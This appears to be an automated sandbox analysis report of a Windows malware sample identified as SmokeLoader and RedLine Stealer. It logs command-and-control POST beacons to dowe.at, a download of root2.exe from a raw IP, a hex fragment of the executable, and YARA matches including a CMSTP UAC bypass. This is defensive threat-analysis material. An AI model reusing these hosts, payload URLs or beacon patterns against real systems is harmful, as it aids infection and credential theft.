HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.2Date: Tue, 29 Nov 2022 23:11:06 GMTContent-Type: application/octet-streamContent-Length: 3776000Last-Modified: Tue, 29 Nov 2022 23:10:03 GMTConnection: keep-aliveETag: "6386914b-399e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 71 fa 27 a0 35 9b 49 f3 35 9b 49 f3 35 9b 49 f3 88 d4 df f3 34 9b 49 f3 2b c9 dc f3 24 9b 49 f3 2b c9 ca f3 5d 9b 49 f3 12 5d 32 f3 32 9b 49 f3 35 9b 48 f3 af 9b 49 f3 2b c9 cd f3 17 9b 49 f3 2b c9 dd f3 34 9b 49 f3 2b c9 d8 f3 34 9b 49 f3 52 69 63 68 35 9b 49 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a2 ac e5 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 08 01 00 00 02 3c 00 00 00 00 00 97 4c 00 00 00 10 00 00 00 20 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 4f 00 00 04 00 00 01 9d 3a 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 9c 0a 01 00 50 00 00 00 00 c0 3c 00 50 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 2d 00 00 18 00 00 00 d8 2c 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 07 01 00 00 10 00 00 00 08 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 97 3b 00 00 20 01 00 00 60 38 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 50 12 00 00 c0 3c 00 00 32 00 00 00 6c 39 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: thepokeway.nl
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tajcoxqjmd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://owxfgf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dqkjujneki.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yfupv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 253Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lawtvrqx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 250Host: dowe.at
Source: global traffic	HTTP traffic detected: GET /root2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 123.253.32.170
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://frwum.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 226Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ifardcruc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 341Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gbbshbjmpq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dkguxo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://frdxrq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://plraoc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 351Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://panajd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://queeh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 150Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lvqyks.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oidcj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 321Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ljwdjes.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 118Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bajxyhac.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 160Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fbxsgv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 343Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xjvagowrnc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ueuounaic.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 185Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vhxqowscaf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 223Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nqdpmu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 132Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nxslssk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rbdses.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 314Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jxvmoh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hlixtq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 338Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bymgj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jviyq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://papeicwkil.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://csplko.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 286Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ecwfh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://avfvrfo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 289Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ouqhut.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 235Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://amjtlofw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: dowe.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mrgphm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: dowe.at

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170
Source: unknown	TCP traffic detected without corresponding DNS query: 123.253.32.170

Source: WerFault.exe, 00000013.00000003.544336242.0000000004B08000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000013.00000002.555779726.0000000004B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: explorer.exe, 00000001.00000000.338958128.0000000008442000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.291794851.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.322078451.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.303824435.0000000008442000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.269421946.0000000008442000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.258393076.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J

Source: unknown

HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tajcoxqjmd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: dowe.at

Source: unknown

DNS traffic detected: queries for: dowe.at

Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: thepokeway.nl
Source: global traffic	HTTP traffic detected: GET /root2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 123.253.32.170

Source: unknown

HTTPS traffic detected: 5.135.247.111:443 -> 192.168.2.6:49739 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 0.2.file.exe.2070e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.dfhwrav.2080000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.dfhwrav.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.dfhwrav.6d0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.2080000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.340150414.0000000002080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.385320932.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.385296441.0000000002080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.373157026.0000000002080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.247155743.0000000002080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.327101814.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.340254010.00000000020B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: dfhwrav, 00000009.00000002.385029493.00000000006EA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: Yara match

File source: Process Memory Space: ADCA.exe PID: 1432, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 16.2.5AF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.5AF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000010.00000002.491008397.00000000005E9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.340150414.0000000002080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.385320932.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.339969412.0000000000509000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000016.00000002.521716515.00000000020C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000A.00000002.477294048.00000000025CA000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000009.00000002.385296441.0000000002080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.384994661.00000000006D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000001.00000000.327101814.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000016.00000002.518252636.000000000059E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.340103222.0000000002070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000009.00000002.385082783.00000000006F8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.495741535.0000000002140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.340254010.00000000020B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000A.00000002.503903306.0000000002950000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 16.2.5AF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.5AF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000010.00000002.491008397.00000000005E9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.340150414.0000000002080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000009.00000002.385320932.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.339969412.0000000000509000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000016.00000002.521716515.00000000020C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000A.00000002.477294048.00000000025CA000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
